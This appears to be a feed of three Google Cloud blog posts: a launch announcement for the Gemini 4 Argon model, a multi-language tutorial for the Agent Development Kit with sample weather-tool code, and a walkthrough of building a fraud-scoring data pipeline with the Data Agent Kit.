Last week we announced that Gemini Enterprise has evolved to make it even simpler to get work done, and introduced the Gemini agent, your new universal agent for work. It's always on and ready to answer your questions. It will write code, complete longer and more complex tasks, or perform whatever you need to get the job done, all from a single prompt box. And model intelligence underpins it all.

To enable a new frontier of work, we are making our new frontier model, Gemini 4 Argon, available on Google Cloud.

We trained Argon to work with both depth and precision, which allows it to maintain context across long, multi-step tasks which are reinforced with strong domain expertise along the way. Whether your team is running complex software builds, handling detailed financial and legal work, or deploying cybersecurity tools like CodeMender, Argon helps your teams maintain focus from start to finish.

Customers and partners using Gemini 4 Argon

Four ways Argon changes how your business works

1. Hand off your hardest work

Your teams already use Gemini for business to answer questions and draft content. With Argon, they can hand off the deep, multi-step work that used to take hours or days, and get back finished work they can use.

Argon reads long documents that mix text, tables, charts and images, and turns them into one clear output grounded in those sources. It can pull findings from many sources into a single structured answer, analyze data over time, and write stronger legal, finance, and executive documents. On long tasks, it keeps going until the job is done. We trained Argon to respect system boundaries, report negative findings honestly, and pause for confirmation before taking irreversible steps, and it tells you when it couldn't find something or finish a task.

Customers who tested Argon tell us it excels at turning huge, unstructured inputs into cohesive outputs.

"As software development becomes more agentic, teams need models that can support long-running, multi-step work across all stages of the development lifecycle. Gemini 4 Argon is designed to help organizations bring AI into development, security, and operations while keeping it within established enterprise workflows and controls.” – Stuart Moncada, VP, GitLab.

2. Precise, verifiable results on the work that drives your business

In finance, legal, tax, and other regulated work, calculations and data extraction need to be precise, repeatable, and verifiable.

For financial quantitative work, Argon can help automate multi-step ledger reconciliations, spreadsheet formulas, and variance analyses. It delivers high calculation integrity, citation fidelity, and formula accuracy across quantitative models. The proof is in the numbers: Argon leads on the Vals Index, which measures economic impact across finance, coding, legal, and tax work.

In legal research, Argon can help legal teams review case law and regulatory filings to pull out verified citations and key precedents. It leads on domain-specific evaluations like Harvey's Legal Agent Benchmark for legal research and drafting, with strong citation fidelity and direct answers when helping teams evaluate complex legal precedents.

"Gemini 4 Argon shows how much progress Google has made on agentic legal reasoning. We saw substantial improvements over Gemini 3.1 Pro across our legal agent evaluations, particularly in corporate M&A, data privacy and cybersecurity, and EC/VC. Accuracy also held up on long-document analysis, an encouraging result for lawyers working through detailed transactional matters." – Niko Grupen, Head of Applied Research, Harvey.

“We collaborated with Google on NowAI-Bench to help shape Gemini 4 for key enterprise work. In early access, it delivered roughly 20% improved task success than Gemini 3.8 Flash, with standout gains in HR and customer service. On the ServiceNow AI Platform, our L1 Service Desk AI specialist brings Google’s most advanced intelligence, governed and secure, turning tasks into fully autonomous work.” - Nenshad Bardoliwalla, Senior Vice President, AI Products, ServiceNow.

3. Build and ship products faster

Argon is built to handle complex, multi-step projects from start to finish. Our customers consistently ask for intelligence that can break down goals, track progress, and update multiple files at the same time.

"Gemini 4 Argon handles complex tasks reliably, from 3D games to rich animations. In Figma Make, it helps teams turn their most ambitious, multi-step ideas into impressive prototypes.” – Loredana Crisan, Chief Design Officer, Figma.

To see how well Argon handles this, we put it to work on our own tools. The team behind our open-source Agent Development Kit (ADK) set out to reduce framework overhead and improve code performance while maintaining full compatibility with existing applications. Working autonomously overnight within automated testing guardrails, Argon surfaced optimizations, now live in google/adk-python, that cut in-memory session prep time by 40% in long sessions and speed up cold imports by 21%. To learn more, read the engineering deep dive here.

Across Google, engineering teams using Argon in Google Antigravity have increased agentic code submissions by more than 35% while cutting code rollbacks by nearly a third. The Chrome team used Argon to finish an architectural refactor across hundreds of files in Chromium's 40 million-line codebase, completing months of work in weeks. Argon's improvements in spatial reasoning, mathematical precision and visual coding also make it faster to go from idea to working prototype.

For more advanced algorithms, our code optimization and discovery agent AlphaEvolve uses Argon to deliver strong performance improvements across real-world enterprise workloads, including factory scheduling, logistics, game code speed-ups, and chip layout — as well as complex mathematical benchmarks, and more.

To learn how to best use Argon, check out the developer's guide.

4. Stronger defense for your code and business

While Argon has cyber mitigations that block offensive tasks such as pentesting and exploitation, you can still take full advantage of Argon’s defensive capabilities using CodeMender to find and fix vulnerabilities, or use Argon with your own security harness. It ties for first place on CWE-Bench v1 with a top score of 68% for remediating security vulnerabilities.

"We are integrating Gemini 4 Argon into MarketingX for automated codebase security audits. In our evaluations, the model successfully identified 100% of top-priority vulnerabilities with 0% fabricated vulnerabilities across verified claims. This precision unlocks proactive, code-level security for our customers before deployment.” - Yunus Emre, Chief AI Officer of AI Lab, HubX.

Security also means being able to trust Argon inside your own environment. Argon is our most resilient model yet against indirect prompt injections, where malicious instructions or context are used to hijack a model’s behavior. It leads the Gray Swan Indirect Prompt Injection benchmark, cutting attack success across 15 adaptive attempts to 0.7%. That matters when Argon reads email, documents and webpages that may contain hidden malicious instructions.

We are also releasing Argon without cyber guardrails to a select set of trusted defenders, which allows for testing a full breadth of cybersecurity capabilities. Trusted defenders are vetted through our Fairwind Program, a limited access initiative that provides government, critical infrastructure, and cybersecurity partners exclusive, unmitigated access to advanced models.

Enterprise customers and partners in our early access program are already seeing strong wins with Argon.

^{Leaders from Amplitude, Deloitte, and Rakuten share Gemini 4 Argon results}

Get started

Starting today, Gemini 4 Argon is available in Gemini for business on the web, desktop, and mobile. Enterprise developers and builders can access Argon via API in Gemini platform under model ID gemini-4-argon, in Google AI Studio, and in Google Antigravity.

Argon launches at an introductory rate of $2 per million input tokens and $10 per million output tokens through November 30, 2026, with cached input tokens priced at 95% off. After November 30, standard pricing of $4 per million input tokens and $20 per million output tokens will apply. Review the model card and developer guide for complete technical specifications, token limits, and migration instructions.

Cyber defenders can join us at Security Summit to learn how to use Gemini 4 Argon to defend against machine-speed threats and automate remediation.

One Agent Development Kit, five languages

Tue, 13 Oct 2026 12:22:00 +0000

When we talk about agents, that doesn't necessarily mean we're talking about Python. In today's modern ecosystem, an agent might run as a high-concurrency Go microservice on Cloud Run, or live inside a browser tab calling Chrome's on-device model. Yet many agent frameworks assume a Python-only stack. That assumption forces teams to either spin up a Python service just for their agent workloads, or to build agent orchestration logic from scratch in their own language.

Google's Agent Development Kit (ADK) removes that trade-off with coverage for Python, Go, TypeScript, Java, and Kotlin. Each version of the ADK is built from the ground up for its own runtime and type system, while sharing a unified architecture with interoperability through open protocols.

A shared foundation

Picking a language doesn't lock in your architecture: all five support the same open protocols. ADK includes a Model Context Protocol client in every language, so a custom tool exposed as an MCP server can be called from any of them immediately.

For multi-agent systems, ADK supports the Agent2Agent (A2A) protocol, allowing an agent to communicate with a remote agent over HTTP. Through A2A, agents written in different languages or frameworks are interoperable.

Starting agent-first

To get started, run the one-time setup command to check your Google Cloud authentication, install the CLI, and then set up first-party ADK skills in coding agents like Antigravity, Claude Code, or Codex:

code_block: <ListValue: [StructValue([('code', 'uvx google-agents-cli setup'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62136ebd0>)])]>

Then, run the scaffold command to generate a working project with A2A endpoints and deployment config for Cloud Run, Gemini Enterprise Agent Runtime, or Google Kubernetes Engine (GKE):

code_block: <ListValue: [StructValue([('code', '# Scaffold an ADK project (use --agent adk for Python or --agent adk_go for Go)\r\nagents-cli scaffold create my-go-agent \\\r\n --agent adk_go \\\r\n --deployment-target cloud_run \\\r\n --region us-central1'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62136dfd0>)])]>

Both the ADK for Python and ADK for Kotlin repositories also ship agent builder skills in their source trees, and the adk.dev/llms.txt resource gives any coding agent on-demand API documentation across all five languages.

Coding-agent skills scaffold your project while MCP and A2A connect all five language runtimes.

Hands-on view of each ADK

The clearest way to feel the difference between the five languages is to define the same weather tool in each one and see how its design fits the runtime.

Python

In ADK for Python, you don't need a decorator or a schema builder class. You pass a plain Python function into the tools parameter, and ADK inspects its signature, type hints, and docstring at startup to automatically construct the tool declaration and Pydantic parameter schema:

code_block: <ListValue: [StructValue([('code', 'from google.adk.agents.llm_agent import Agent\r\n\r\n\r\ndef get_weather(city: str) -> dict:\r\n """Retrieves the current weather report for a specified city.\r\n\r\n Args:\r\n city (str): The name of the city for which to retrieve the weather report.\r\n """\r\n return {"status": "success", "report": f"Sunny and 72F in {city}."}\r\n\r\n\r\nroot_agent = Agent(\r\n name="weather_agent",\r\n model="gemini-3.8-flash",\r\n instruction="Answer questions about the weather in a city.",\r\n tools=[get_weather],\r\n)'), ('language', 'lang-py'), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133d850>)])]>

Beyond fast prototyping, Python is ADK's reference implementation, shipping the broadest set of Google Cloud integrations (BigQuery, Spanner, Bigtable) and model adapters (Gemini, Anthropic, OpenAI, LiteLLM). Paired with the adk eval or agents-cli eval run commands, its evaluation tooling scores agent trajectories against golden datasets in continuous integration (CI) to test the whole system end to end, even when your production service runs in another language.

Go

While Python leads in experimentation and evaluation, ADK for Go hits the sweet spot for production backend engineering.

A Go tool function takes the agent.Context configuration and a strongly typed input struct. The functiontool.New function uses Go generics to infer both the input and output schemas from your struct tags:

code_block: <ListValue: [StructValue([('code', 'type GetWeatherArgs struct {\r\n\tCity string `json:"city" jsonschema:"The city to look up weather for."`\r\n}\r\n\r\ntype GetWeatherResult struct {\r\n\tReport string `json:"report"`\r\n}\r\n\r\nfunc getWeather(_ agent.Context, args GetWeatherArgs) (GetWeatherResult, error) {\r\n\treturn GetWeatherResult{Report: "Sunny and 72F in " + args.City}, nil\r\n}\r\n\r\nweatherTool, err := functiontool.New(functiontool.Config{\r\n\tName: "get_weather",\r\n\tDescription: "Retrieves the current weather report for a city.",\r\n}, getWeather)'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133d390>)])]>

Because the functiontool.New function is generic over your handler's signature, the Go compiler verifies that your function matches the expected contract before your binary ever runs.

Go was also the first language after Python to ship the ADK 2.0 Graph Workflow runtime. When you need deterministic control flow alongside LLM reasoning, the workflow.New function wires agents and plain Go functions into a directed graph with conditional routing and parallel steps:

code_block: <ListValue: [StructValue([('code', 'ag, err := workflowagent.New("order_pipeline", []workflow.Edge{\r\n\t{From: workflow.Start, To: triageNode},\r\n\t{From: triageNode, To: fulfillNode, Route: workflow.StringRoute("fulfill")},\r\n\t{From: fulfillNode, To: notifyNode},\r\n})'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133d290>)])]>

Where Go really stands out is in production on Cloud Run and GKE. A compiled Go agent packages onto a roughly 2 MiB Google distroless static base image, with no language VM or heavy dependency tree. A static Go binary binds to its port as soon as the container starts, skipping the module imports of dynamic languages and the JAR unpacking and JIT warmup of JVM services.

After it's running, Go's concurrency model fits agent workloads naturally. Each goroutine starts with a 2 KB stack and minimal scheduling overhead, so a single instance can multiplex thousands of concurrent streaming requests and tool calls. ADK for Go also includes built-in A2A server handlers and OpenTelemetry tracing out of the box.

TypeScript

TypeScript erases type annotations when compiling to JavaScript, so runtime reflection isn't an option. Instead, ADK for TypeScript pairs with Zod. You pass a z.object(...) schema to the FunctionTool function, and TypeScript statically infers the parameter types of your execute callback from that single declaration:

code_block: <ListValue: [StructValue([('code', 'import { FunctionTool, LlmAgent } from "@google/adk";\r\nimport { z } from "zod";\r\n\r\nconst getWeatherTool = new FunctionTool({\r\n name: "get_weather",\r\n description: "Retrieves the current weather report for a city.",\r\n parameters: z.object({\r\n city: z.string().describe("The name of the city."),\r\n }),\r\n execute: async ({ city }) => {\r\n return { status: "success", report: `Sunny and 72F in ${city}.` };\r\n },\r\n});\r\n\r\nexport const rootAgent = new LlmAgent({\r\n name: "weather_agent",\r\n model: "gemini-3.8-flash",\r\n instruction: "Answer questions about the weather in a city.",\r\n tools: [getWeatherTool],\r\n});'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133fd90>)])]>

Your runtime input validation, the JSON Schema sent to the model, and your IDE autocomplete inside the execute callback all flow from one source of truth.

TypeScript also runs on the ADK 2.0 Graph Workflow engine and ships a standalone browser bundle. Beyond Node.js services, you can run an ADK agent directly in a browser tab using WebMCP for page-level tools and Chrome's on-device Prompt API.

Java

ADK for Java snaps right in for teams who have standardized on Maven, Gradle, and Spring Boot. You add @Schema annotations to method parameters and assemble agents by using a fluent LlmAgent.builder() API:

code_block: <ListValue: [StructValue([('code', 'public class WeatherTools {\r\n public static Map<String, String> getWeather(\r\n @Schema(name = "city", description = "The name of the city")\r\n String city) {\r\n return Map.of("status", "success", "report", "Sunny and 72F in " + city);\r\n }\r\n}\r\n\r\nLlmAgent agent = LlmAgent.builder()\r\n .name("weather_agent")\r\n .model("gemini-3.8-flash")\r\n .instruction("Answer questions about the weather in a city.")\r\n .tools(FunctionTool.create(WeatherTools.class, "getWeather"))\r\n .build();'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133e2d0>)])]>

At runtime, the runner streams agent events reactively through RxJava. For local testing and existing JVM apps, ADK for Java ships a Maven Dev UI plugin alongside first-party bridges for Spring AI and LangChain4j.

Kotlin

ADK for Kotlin takes a strong stance on build-time safety. Its Kotlin Symbol Processing (KSP) compiler plugin reads @Tool and @Param annotations at build time and emits the tool schema directly into bytecode:

code_block: <ListValue: [StructValue([('code', 'class WeatherTools {\r\n @Tool(\r\n name = "get_weather",\r\n description = "Retrieves the current weather report for a city.",\r\n )\r\n suspend fun getWeather(\r\n @Param("The name of the city.") city: String\r\n ): Map<String, String> = mapOf("status" to "success", "report" to "Sunny and 72F in $city")\r\n}\r\n\r\nval agent = LlmAgent(\r\n model = Gemini("gemini-3.8-flash"),\r\n name = "weather_agent",\r\n instruction = Instruction("Answer questions about the weather in a city."),\r\n tools = WeatherTools().generatedTools(),\r\n)'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62133c090>)])]>

If a tool signature uses an unsupported type or declares a default value on a non-nullable parameter, your Gradle build fails immediately instead of breaking in production. Because the .generatedTools() function uses zero runtime reflection, it survives Android R8 shrinking.

That zero-reflection design makes it possible to run the entire agent loop locally on Android. It offers JVM server support, including a Spring AI bridge and experimental ADK 2.0 graph workflows. On-device, ADK for Kotlin integrates with LiteRT-LM for tool calling and ML Kit (Gemini Nano) for text generation. It also works with Room and AppSearch for local state, and Android AppFunctions for OS-level actions, all without requiring a network connection.

Choice without compromise

Having five native languages in ADK means you don't have to pick a single runtime for your entire organization. Because every version of ADK speaks MCP and A2A, each component of your system can use the language that fits it best.

What languages have you used to build agents with Google's ADK? Let me know what stack you're running on X, LinkedIn, or Bluesky.

Agentic data science with the Data Agent Kit

Mon, 12 Oct 2026 16:00:00 +0000

Imagine your compliance team notices that payments are taking longer than expected to clear. They suspect fraud, and you’re the data scientist helping figure out which transactions to investigate first. Assembling that shortlist requires ingesting and cleaning raw transaction logs, training a model on past fraud, scoring new records, and scheduling the pipeline to run daily. Here’s how you can build that workflow end to end with an agent, using the Data Agent Kit inside the Antigravity IDE.

Introducing the Data Agent Kit

Data Agent Kit helps you work with Google Cloud data through a plugin for coding agents or an extension for Visual Studio Code-based IDEs. It brings two significant additions to the workflow:

Help for your agent: MCP tools connect your agent to data services. Skills are Markdown files that give it instructions and best practices for working with your data stack
Tools in your IDE: work with Google’s Agentic Data Cloud, from querying databases to deploying an Airflow pipeline, without leaving your editor

Loading the data

Let’s start with the raw transaction logs in Google Cloud Storage. You can ask the agent to create a notebook that loads them into BigQuery using Spark:

code_block: <ListValue: [StructValue([('code', 'Create a PySpark notebook to ingest JSON transaction logs from gs://financials-clearing-raw/ into the BigQuery table transactions.raw_transactions.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202c7d90>)])]>

The agent generates a Jupyter notebook that loads the JSON logs into a BigQuery table named raw_transactions. You can open the notebook, review the code, and run it using a preconfigured Spark Serverless runtime from the IDE.

Running a generated PySpark notebook

After the notebook runs, you can open the raw_transactions table with the Data Agent Kit. The extension allows you to browse the table and inspect its metadata right from the IDE.

Inspecting a BigQuery table in the IDE

The records are now in BigQuery, but they aren’t ready for model training yet. First, we’ll handle duplicate and incomplete records, then join the remaining records with info about who sent and received each payment.

Cleaning it up

Let’s put the cleanup logic into a dbt project so we can run it on each new batch of data. We’ll also test that each transaction appears only once. Prompt the agent:

code_block: <ListValue: [StructValue([('code', 'Create a dbt project in dbt_project/ for the BigQuery dataset transactions.\r\n\r\nDeduplicate raw_transactions by transaction_id in staging. Separate records with null IDs into invalid_transactions. Join valid records with dim_payers and dim_payees to create enriched_transactions, preserving the is_fraud label. Add a transaction uniqueness test.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202c60d0>)])]>

The agent generates a dbt project with SQL models for cleaning and enriching the data. Take a look at the generated code to check how it handles duplicates and joins reference tables. Then run dbt build in the terminal. This builds the staging and enriched tables in BigQuery, along with a separate table for records with missing transaction IDs. dbt also runs the uniqueness test.

Validating dbt models in the integrated terminal

We also keep the is_fraud column, which indicates whether a past transaction was fraudulent. We’ll train the model on records with known labels and use it to score new transactions, where we’re unsure yet whether fraud occurred.

Building the review queue

With the data prepared, let’s ask the agent to create a training notebook using a Random Forest classifier running on Spark Serverless.

code_block: <ListValue: [StructValue([('code', 'Create a PySpark notebook to train a RandomForestClassifier\r\non table transactions.enriched_transactions.\r\n\r\nPredict is_fraud, training only on records where the label\r\nis not null. Encode categorical features, scale amounts,\r\nand evaluate the model using ROC AUC. Save the evaluated model to gs://models/fraud_model.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202c7510>)])]>

Review and run the notebook, then check its evaluation output to see how well the model separates fraudulent transactions from legitimate ones. You can also use the Data Agent Kit extension to verify that the trained model artifacts were saved to Google Cloud Storage.

Verifying the trained model artifacts in Google Cloud Storage

Now we can use the saved model to score transactions that don’t have an is_fraud value yet:

code_block: <ListValue: [StructValue([('code', 'Create a batch inference notebook that loads the saved model from gs://my_models/fraud_model and scores records in transactions.enriched_transactions where is_fraud is null.\r\n\r\nWrite transactions with a fraud probability score >= 0.50 to the Spanner table SparkEvalFraudReviewQueue, in the instance cymbal-fraud, database fraud-db.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202c45d0>)])]>

In this example, the inference notebook scores the unlabeled transactions in BigQuery and sends those with an estimated fraud probability of 50% or higher to the Spanner review queue. The flagged records help the team decide where to investigate, but they still need to determine whether fraud occurred.

Look at how the inference notebook filters and writes flagged records, then run it. Once it finishes, query the Spanner table in the IDE to inspect the results.

Querying flagged transactions in the Spanner table

This table is the list we set out to build. The compliance team can now start reviewing transactions, and we have a workflow that gets records from raw logs into the queue.

So far, we have been kicking off each step ourselves. We can now connect them so the workflow runs automatically each day.

Running it again tomorrow

Each day we will load the latest logs, apply the dbt transformations, and score unlabeled transactions using the saved model. We’ll use the Managed Service for Apache Airflow to run these steps in order. Ask the agent:

code_block: <ListValue: [StructValue([('code', 'Create an orchestration pipeline named fraud_analysis_pipeline that runs ingestion, the dbt project, and batch inference in that order.\r\n\r\nSchedule it daily at midnight. Use Spark Serverless for the notebooks, including the Spanner connector for inference, and gs://YOUR_ARTIFACT_BUCKET for artifact storage.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202c5f90>)])]>

The agent generates a YAML pipeline definition and deployment configuration. The pipeline definition sets the schedule and dependencies between steps. Meanwhile, the deployment configuration specifies the Airflow environment where it will run.

Data Agent Kit then turns the definition into an Airflow DAG, which you can explore as an interactive graph in the IDE. Open the pipeline under “Orchestration Pipelines” and click a task to inspect it. For notebook tasks, you can follow the link straight back to the code.

Inspecting a data pipeline

With the Airflow environment configured, click “Run pipeline” in the canvas. Data Agent Kit packages the notebooks and dbt project, deploys the DAG, and triggers a run. Open the pipeline’s execution history to follow its progress. You can also select individual tasks to inspect their status, duration, and logs.

Kicking off an Airflow DAG and inspecting the logs

Airflow will run the pipeline every day, taking new batches of data from raw logs to the review queue. The compliance team can now focus on flagged transactions, and you’ve automated the work of getting those records to them!

Try it yourself

If you are ready to try this for yourself, we have designed a codelab that walks you through the full setup so you can build and run this workflow. You can also read our documentation or check out the skills and tools in the open-source repository on GitHub.